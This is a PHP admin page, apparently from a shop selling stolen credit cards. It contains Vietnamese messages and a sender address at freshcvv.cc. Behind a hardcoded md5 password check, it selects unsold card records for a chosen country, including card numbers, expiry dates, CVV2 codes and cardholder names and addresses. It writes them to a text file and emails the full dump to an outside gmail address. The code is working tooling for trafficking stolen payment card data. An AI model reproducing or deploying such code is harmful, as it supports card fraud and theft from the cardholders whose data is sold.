<?php
session_start();
require_once '../header.php';
function __autoload($className)
	{
    	require_once('../class/' . $className . '.class.php');
	}
session::need_manage();
if(!empty($_POST))
{
	$webroot="../";
	require_once '../html/admintemplate.php';
	$ArrPost=$_POST;
	$Pass=rtrim(trim($ArrPost["pass"]));
	$PassHash=md5($Pass);
	if($PassHash=='30dc72025357a119f014c052c8b8c68c')
	{
		$Country=rtrim(trim($ArrPost["country"]));
		$GetCcOut=database::LimitQuery('ccinfo',array(
		'select' => 'CCnumber , ExMonth , ExYear , CCV2 ,Firstname , Lastname, Address  , City , State , Zip  , Country',
		'condition'=> array(
		'userid' => 0,
		'orderid' => 0,
		'country' => $Country
		)
		));
		$Date=date("Y-m-d");
		$path="cc-$Country-ngay-$Date.txt";
		$GetFile=@fopen($path, "w+");
		fwrite($GetFile, "cc lay ra country $Country ngay $Date \n \n \n \n");
		$SoureWrite=null;
		$SoureGet=null;
		$SoureSend=null;
		foreach($GetCcOut as $CcInfo)
		{
			$SoureGet=$CcInfo['ccnumber']."|".$CcInfo['exmonth']."|".$CcInfo['exyear']."|".$CcInfo['ccv2']."|".$CcInfo['firstname']."|".$CcInfo['lastname']."|".$CcInfo['address']."|".$CcInfo['city']."|".$CcInfo['state']."|".$CcInfo['zip']."|".$CcInfo['country']."\n";
			fwrite($GetFile,$SoureGet);
			$SoureSend=$SoureGet.$SoureSend;
		}
		fclose($GetFile);
		$to      = 'johnnguyentuyen@gmail.com';
	$subject = "cc get ra country $Country ngay $Date";
	$message = $SoureSend;
	$headers = 'From: backupcc@freshcvv.cc' . "\r\n" .
    'Reply-To: backupcc@freshcvv.cc' . "\r\n" .
    'X-Mailer: PHP/' . phpversion();
	mail($to, $subject, $message, $headers);
	echo "<font color='white' size='+2' >minh da send 1 ban mail ve mail: johnnguyentuyen@gmail.com,<br/> vui long nho ban backup nay <a href='export.php?filename=$path' >Download</a></font>";
	$_SESSION["countrydel"]=$Country;
	
	}
	else 
	{
		$_SESSION["erro"]="Sai Pass Roi";
		redirect::location("getoldcc.php");
	}
}
else 
{
	require_once '../html/getoldcc.php';
}



?>